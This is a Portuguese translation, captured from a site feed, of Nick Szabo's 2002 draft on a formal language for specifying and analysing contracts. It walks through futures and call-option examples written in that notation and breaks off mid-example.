&lt;/p></content:encoded></item><item><title>Uma Linguagem Formal para Analisar Contratos</title><link>https://cypherpunks.com.br/documentos/linguagem-formal-de-contratos/</link><pubDate>Tue, 06 Aug 2002 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/linguagem-formal-de-contratos/</guid><description>Apresentação de mini linguagem para profissionais e pesquisadores interessados em redigir e analisar contratos</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Leonardo Broering Jahn
Formatado por: Daniel Miorim e Matheus Bach
&lt;/code>&lt;/pre>&lt;h1 id="uma-linguagem-formal-para-analisar-contratos">Uma Linguagem Formal para Analisar Contratos&lt;/h1>
&lt;p>&lt;em>Nick Szabo&lt;/em>&lt;/p>
&lt;h2 id="rascunho-preliminar-de-2002">Rascunho preliminar de 2002&lt;/h2>
&lt;p>O autor apresenta uma mini linguagem para profissionais e pesquisadores
interessados em redigir e analisar contratos. Destina-se para a leitura
por computadores também. O principal objetivo dessa linguagem é
especificar, da forma mais inequívoca, completa e sucinta possível,
contratos comuns ou termos contratuais. Isso inclui contratos
financeiros, garantias (penhoras) e outros tipos de segurança,
transferência de propriedade, desempenho de serviços on-line e fluxo de
trabalho da cadeia de suprimentos.&lt;/p>
&lt;p>Os seguintes problemas podem ser resolvidos pela linguagem quando
interpretados por computador:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Contabilidade e auditoria. Contratos sofisticados, incluindo
derivativos e combinações, podem ser especificados em nossa
linguagem formal. Em seguida, regras contábeis automatizadas ou
manuais podem ser aplicadas para converter transações concluídas sob
o contrato em trilhas de auditorias e entradas no livro-razão.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Analisar contratos formalmente especificados em busca de falhas na
lógica, agendamento, oportunidades para as partes violarem o
contrato, e conflitos com outros contratos com os quais já está
comprometido&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Traduzir os contratos formais para uma linguagem de programação
existente, como a E&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> e/ou protocolos criptográficos&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>, para
parcial auto execução e execução protegida como contratos
inteligentes&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Alguns tipos de contratos, especialmente contratos financeiros e de
commodities e seus derivativos, podem ser convertidos em uma árvore
de decisão que pode ser analisada para determinar o risco, o valor
presente líquido etc..&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>O processo de projetar essa linguagem também é uma ótima maneira de
explorar a natureza básica dos contratos (quais são os &amp;ldquo;elementos&amp;rdquo; dos
quais uma grande variedade de contratos úteis pode ser redigida?) e como
é composto (quais regras para compor esses átomos descartam contratos
impossíveis?). A linguagem também é uma ferramenta criativa para pensar
e &amp;ldquo;esboçar&amp;rdquo; novos tipos de contratos. Eu dou boas-vindas à sua
participação.&lt;/p>
&lt;p>As palavras em nossa linguagem seguem a terminologia legal o máximo
possível &amp;ndash; portanto, por exemplo, desempenho significa execução para
satisfazer os termos do contrato (como no campo jurídico), em vez de
quantidades medidas como velocidade, uso de memória, largura de banda
etc. (como os programadores usam o termo). Não é necessário um diploma
em direito para usar a linguagem, mas recomenda-se alguma familiaridade
com o direito contratual e a elaboração de contratos. Um advogado que
tenha se saído razoavelmente bem nas seções analíticas e lógicas do LSAT
dos EUA ou seu equivalente no exterior, eu suspeito, terá melhor sorte
em elaborar contratos nessa linguagem do que um programador cuja única
experiência reside na linguagem processual tradicional. É por isso que
chamo isso de linguagem de rascunho [de projeto] não de linguagem de
programação.&lt;/p>
&lt;p>Nossa linguagem pode especificar o resultado de uma negociação (que pode
ser um leilão, uma troca ou duas partes redigindo o contrato, ou uma
redação de uma parte e a outra concordando, etc.) Também pode definir o
input para um mecanismo que conduz e monitora as transações que executam
o contrato:&lt;/p>
&lt;blockquote>
&lt;p>Negociação -&amp;gt; Contrato -&amp;gt; Performance&lt;/p>
&lt;/blockquote>
&lt;p>A execução do contrato, ou seja, sua reificação como um contrato
inteligente, pode, portanto, ser vista como (hipoteticamente, neste
momento) execução de um programa escrito em nossa linguagem. Além disso,
nossa linguagem incorpora uma ampla variedade de termos contratuais, não
apenas termos monetários abstratos e seus derivados. Essas duas
características tornam nossa linguagem muito diferente das linguagens de
contrato financeiro para fins especiais, como&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. Embora utilizemos
vários exemplos de contratos financeiros para apresentar nossa linguagem
e demonstrar sua flexibilidade, seu escopo tanto na funcionalidade
quanto nos tipos de contratos e protocolos de transação que ela pode
representar é muito mais amplo.&lt;/p>
&lt;h2 id="semântica">Semântica&lt;/h2>
&lt;p>Cada palavra e frase em nossa linguagem tem um significado padrão claro.
Como resultado, podem ser elaborados contratos que estarão muito menos
sujeitos a disputas sobre interpretação. Por outro lado, a linguagem não
é muito boa para expressar muitos conceitos subjetivos e ambíguos que
muitas vezes são necessários em contratos. Nem é bom, em seu estado
atual, referir-se a jurisdições ou doutrinas da lei. A linguagem é, no
entanto, muito diferente de uma linguagem de programação tradicional. Os
termos contratuais são definidos em termos de eventos que acionam seu
desempenho. Tais eventos incluem datas e horários, escolhas feitas pelas
partes, violações observáveis do contrato e assim por diante.&lt;/p>
&lt;p>Nossa linguagem não é uma linguagem de marcação. Não se trata de
manipular texto para fins de elaboração de contratos. Não se trata de
estruturar texto, especificar formulários de preenchimento, definir
formatos de dados estáticos ou tarefas semelhantes de linguagens como
HTML ou XML. Para essas tarefas, deve-se usar uma linguagem de marcação
ou uma linguagem de programação de manipulação de texto (por exemplo,
Perl), não essa linguagem. Nossa linguagem faz algo muito diferente. Ela
modela a dinâmica da execução do contrato &amp;ndash; quando e sob quais
condições as obrigações devem ser executadas.&lt;/p>
&lt;p>As palavras e frases do idioma não consistem em instruções seguidas na
página de uma etapa para a outra. Em vez disso, um contrato é lido
(tanto por humanos quanto por computador), seguindo definições aninhadas
de termos contratuais à medida que se expandem e observando eventos nas
declarações &lt;strong>when&lt;/strong> [quando] e vendo o que eles acionam. Se o redator
precisar construir explicitamente um cronograma passo a passo do
calendário, isso poderá ser feito usando eventos controlados pelo
calendário ou palavras como &lt;strong>for&lt;/strong> [para] e &lt;strong>then&lt;/strong> [então].&lt;/p>
&lt;p>A linguagem incentiva a composição de contratos. Contratos, direitos e
obrigações podem ser aninhados. Chamamos essas estruturas aninhadas de
clauses [cláusulas]. Os contratos e cláusulas envolvem duas partes, o
Holder [Titular], de cujo ponto de vista lemos o contrato, e uma
Counterparty [Contraparte]. Os acordos de várias partes podem ser
elaborados compondo vários contratos de duas partes.&lt;/p>
&lt;h2 id="exemplo----contratos-futuros">Exemplo &amp;ndash; Contratos Futuros&lt;/h2>
&lt;p>Nosso primeiro exemplo é um contrato financeiro bem conhecido, o futuro.
Um futuro é uma obrigação por parte do Titular do contrato futuro de
comprar uma certa quantidade de uma determinada mercadoria em um
determinado mês, e a obrigação por parte do futuro redator do contrato,
a Contraparte, de entregar esses bens. Para fins de introdução deste
contrato, damos-lhe a forma abstrata na qual os analistas financeiros
geralmente lidam com ele, deixando de fora detalhes importantes que
descrevem os terceiros que atuam como intermediários confiáveis para
definir &amp;ldquo;pacotes justos&amp;rdquo; de mercadorias, e também deixamos de fora
muitos detalhes sobre a entrega real.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>future(rightA&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;1 round lot pork bellies&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rightB&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;$1,500.00&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>p &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;for delivery in July 2002&amp;#34;&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(p)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Como essa linguagem ainda não está sendo interpretada por computador, a
sintaxe foi projetada mais para legibilidade humana do que para
computador. Serei um pouco rápido e flexível com a sintaxe, e você
também pode. Geralmente uso tabs em vez de colchetes {} para estruturar
as cláusulas de uma maneira que parece natural e legível para mim &amp;ndash; e
espero que para você &amp;ndash; mas que pode confundir um computador. Sinta-se
livre para desenvolver seu próprio estilo.&lt;/p>
&lt;p>As três principais linhas do contrato, na forma name(parameters)
[nome(parâmetros)] = nos dizem que estamos definindo uma named clause
[cláusula nomeada]. A cláusula nomeada pode definir um contrato
inteiro ou apenas uma cláusula em um contrato maior. Podemos passar os
nomes de outras cláusulas nomeadas, listas de eventos e outros tipos de
informações que a cláusula nomeada precisa &amp;ndash; esses são os parâmetros.&lt;/p>
&lt;p>when withinPeriod(p) significa &amp;ldquo;quando o primeiro evento do calendário
ou relógio gerado durante o período p&amp;rdquo;. O redator pode, em outro lugar,
definir com que frequência esse evento &amp;ldquo;tick tack do relógio&amp;rdquo; ocorre. O
primeiro tique taque de relógio após o início do período, neste caso, o
primeiro dia de entrega programado no mês de julho, aciona a cláusula
entre colchetes {}. Agendas mais sofisticadas são possíveis, como
aquelas que minimizam os custos de entrega da Contraparte, entregando a
diferentes Titulares em dias diferentes em julho. Felizmente, podemos
ocultar esses detalhes de agendamento dentro do evento de calendário e
agendar mecanismos do iterador, deixando o redator livre de se preocupar
exatamente quando os mercados estão abertos, em que dias são finais de
semana ou feriados ou dias bissextos, etc. O cronograma de entrega da
contraparte pode ser negociado ou esse detalhe pode ser deixado para a
contraparte. No contrato acima, as restrições na entrega são que elas
ocorram em julho e somente em conjunto com o pagamento do Titular.&lt;/p>
&lt;p>A cláusula mais interna diz para trocar rightA por rightB. Esta cláusula
é dividida em um direito do titular e um direito da contraparte. A
cláusula certa Holder rightA significa &amp;ldquo;O titular tem o direito de
executar a rightA&amp;rdquo;, nesse caso, a entrega das barrigas de porco. A
cláusula Counterparty rightB significa &amp;ldquo;A contraparte tem direito de
desempenhar o rightB&amp;rdquo;, que aqui é o pagamento de 1.500 dólares. with
indica uma troca simultânea &amp;ndash; as duas transações devem ocorrer juntas,
talvez intermediadas por um agente de garantia para fazer cumprir as
condições de entrega e pagamento.&lt;/p>
&lt;p>Uma sentença then nos permite avançar passo a passo. Se tivéssemos duas
cláusulas escritas assim:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> right1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>also to &lt;span style="color:#66d9ef">Holder&lt;/span> right2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Elas poderiam ser executados em qualquer ordem &amp;ndash; right2 pode ser
executado primeiro, ou right1 pode ser, ou (provavelmente) o desempenho
em ambos pode prosseguir no mesmo tempo. Várias instruções when
aninhadas juntas no mesmo nível também têm also implícita, pois podem
ser acionadas em qualquer ordem.&lt;/p>
&lt;p>Visualize um duende dançarino que segue o aninhamento de cláusulas à
medida que são executadas e de eventos à medida que são capturados. (Os
programadores chamam esse elfo dançarino pelo nome chato de &amp;ldquo;ponteiro de
instruções&amp;rdquo;). Pode haver mais de um elfo dançarino se houver um also ou
mais de um quando a sentença for acionada enquanto outra estiver ativa,
mas geralmente precisamos pensar apenas em um de cada vez.&lt;/p>
&lt;p>Se desejarmos adicionar a restrição de que right2 não pode ser executado
até que right1 tenha sido, usamos then:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> right1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> to &lt;span style="color:#66d9ef">Holder&lt;/span> right2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Os programadores tradicionais ficarão extremamente tentados a preencher
seus contratos com as declarações then, imitando o estilo da programação
procedural. Não fique! Aqueles com experiência em redação de contratos
sabem que, em alguns casos, essa restrição é claramente apropriada e, em
alguns casos, claramente não é, e é importante ser explícito ao
adicionar restrições. Portanto, a seguinte sentença é ilegal e será
rejeitada pelo computador e por qualquer redator que trabalhe sem um
computador:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Do not do this!&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> right1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> right2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finalmente, já vimos esse tipo de cláusula:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> right1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>with to &lt;span style="color:#66d9ef">Holder&lt;/span> right2
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Isso significa que right1 e right2 devem ser executados simultaneamente
&amp;ndash; e ambos devem ser executados ou nenhum deles. No jargão dos
cientistas da computação, deve ser uma transação &amp;ldquo;atômica&amp;rdquo;.&lt;/p>
&lt;p>O then terminate no final da cláusula nomeada garante que todos os
direitos e obrigações sob o contrato sejam rescindidos após a execução.
Não é acionado até que o corpo de uma linha do contrato futuro seja
concluído. Bem como quaisquer cláusulas subordinadas pendentes com seus
direitos e obrigações. Essa cláusula está implícita no final de cada
cláusula nomeada, mas, desta vez, a tornamos explícita. Essa cláusula é
frequentemente usada explicitamente quando o redator deseja garantir o
término adequado de cláusulas não nomeadas aninhadas em uma cláusula
nomeada.&lt;/p>
&lt;p>Vamos agora prosseguir com o contrato futuro passo a passo, à medida que
as cláusulas são ativadas e executadas. Uma fonte normal indica que a
cláusula está inativa. Uma fonte em negrito indica um estado ativo &amp;ndash; as
cláusulas estão sendo executadas.&lt;/p>
&lt;p>Quando as partes se comprometem com o contrato, suas primeiras cláusulas
(as cláusulas no nível mais alto de indentação) são acordadas. Em nosso
contrato futuro, temos apenas uma dessas cláusulas e, portanto, o when
(mas não as cláusulas aninhadas abaixo) entram em um estado ativo,
aguardando o evento withinPeriod ():&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(p)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Quando o calendário avançou até o final da negociação no último dia de
negociação de agosto, o evento withinPeriod (p) ocorre e o when ativa as
cláusulas aninhadas no próximo nível interno. O when em si se torna
inativo &amp;ndash; não está mais aguardando um evento:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(p)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>O then faz com que o terminate espere pelo when e suas subcláusulas
sejam executadas. Depois que a troca de direitos é realizada, as
cláusulas executadas são convertidas em inatividade e o encerramento é
acionado:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(p)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>É fácil generalizar em nossa linguagem. O contrato futuro genérico se
parece com o seguinte:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>future(rightA, rightB, p) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> withinPeriod(p)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">then&lt;/span> terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Em vez de barrigas de porco, podemos trocar qualquer outro rightA por
rightB, que pode ser uma grande variedade de coisas além do dinheiro. Os
redatores podem especificar clichês gerais e preencher detalhes para
contratos específicos posteriormente.&lt;/p>
&lt;h2 id="exemplo----contrato-de-opção">Exemplo &amp;ndash; Contrato de Opção&lt;/h2>
&lt;p>Agora, apresentamos outro tipo de contrato financeiro. Nesta opção
Americana, o Titular tem o direito de comprar por $20 (o preço de
exercício da opção) por ação um lote inteiro (100 ações) da XYZ Corp no
ou antes do último dia de negociação de agosto. Esses tipos de contratos
são chamados de &amp;ldquo;derivativos&amp;rdquo; porque a opção de compra é derivada do
direito subjacente (aqui, ações).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>callOptionAmerican (rightA&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;1 round lot XYZ Corp.&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>rightB&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;$2,000/lot&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>time&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;end of trading on last trading day of August&amp;#34;&lt;/span>) &lt;span style="color:#f92672">=&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> beforeTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> afterTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Pense naquele elfo dançante novamente. (Ao ler ou escrever em nossa
linguagem, é importante seguir esses elfos dançarinos. Se os elfos se
tornarem irritantes, pense em algum outro personagem ou processo
dinâmico para uma metáfora que seja adequada). À medida que avança, ele
acorda cláusulas, tornando-as ativas, fazendo com que sejam executadas.
Às vezes, pode haver mais de um elfo dançando no código ao mesmo tempo,
por exemplo, se mais de uma instrução when é acionada enquanto outra
está ativa, mas geralmente precisamos pensar apenas em uma de cada vez.&lt;/p>
&lt;p>O contrato começa com duendes dançarinos nas duas cláusulas de nível
superior:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> beforeTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> afterTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Essas instruções when estão aguardando seus respectivos eventos. Como os
eventos são mutuamente exclusivos (é primeiro beforeTime(time), depois
afterTime(time), mas nunca os dois), precisamos nos preocupar apenas com
o primeiro a ser executado. Observe que, a menos que seja separado por
um then, a ordem das cláusulas no mesmo nível não é importante. O código
a seguir é idêntico ao código em nosso exemplo:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> afterTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> beforeTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>O beforeTime(time) é imediatamente ativado, de modo que começamos com
a(s) cláusula(s) aninhada(s) no nível imediatamente abaixo ativadas
também &amp;ndash; nesse caso, when choiceOf(Holder).&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> beforeTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> afterTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>terminate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Uma série de whenes no mesmo nível nessa cláusula começam a esperar que
algum deles seja acionado. Quando um when recebe um evento lançado
abaixo ou nele, a cláusula aninhada abaixo se torna ativa. Em seguida,
as cláusulas abaixo ficam ativas e são executadas até os whenes do nível
abaixo. Os whenes nesse nível passam de inativos para ativos, agora
aguardando a ocorrência de seus eventos.&lt;/p>
&lt;p>O when beforeTime(time) se torna ativo quando a própria opção é ativada
pela primeira vez e permanece ativo até o time. Ao ser ativo, ele ativa
o when choiceOf(Holder). Esse when especifica o evento que dá ao
contrato sua natureza como uma opção &amp;ndash; a escolha de seu titular para
exercê-lo ou não. Se o Titular optar por fazê-lo, o Titular obtém as
ações (rightA) da Contraparte (o autor da opção de compra) em troca do
dinheiro (rightB). Os duendes dançantes passam da cláusula when para a
cláusula swap:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> beforeTime(time)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">when&lt;/span> choiceOf(&lt;span style="color:#66d9ef">Holder&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>to &lt;span style="color:#66d9ef">Holder&lt;/span> rightA with to &lt;span style="color:#66d9ef">Counterparty&lt;/span> rightB
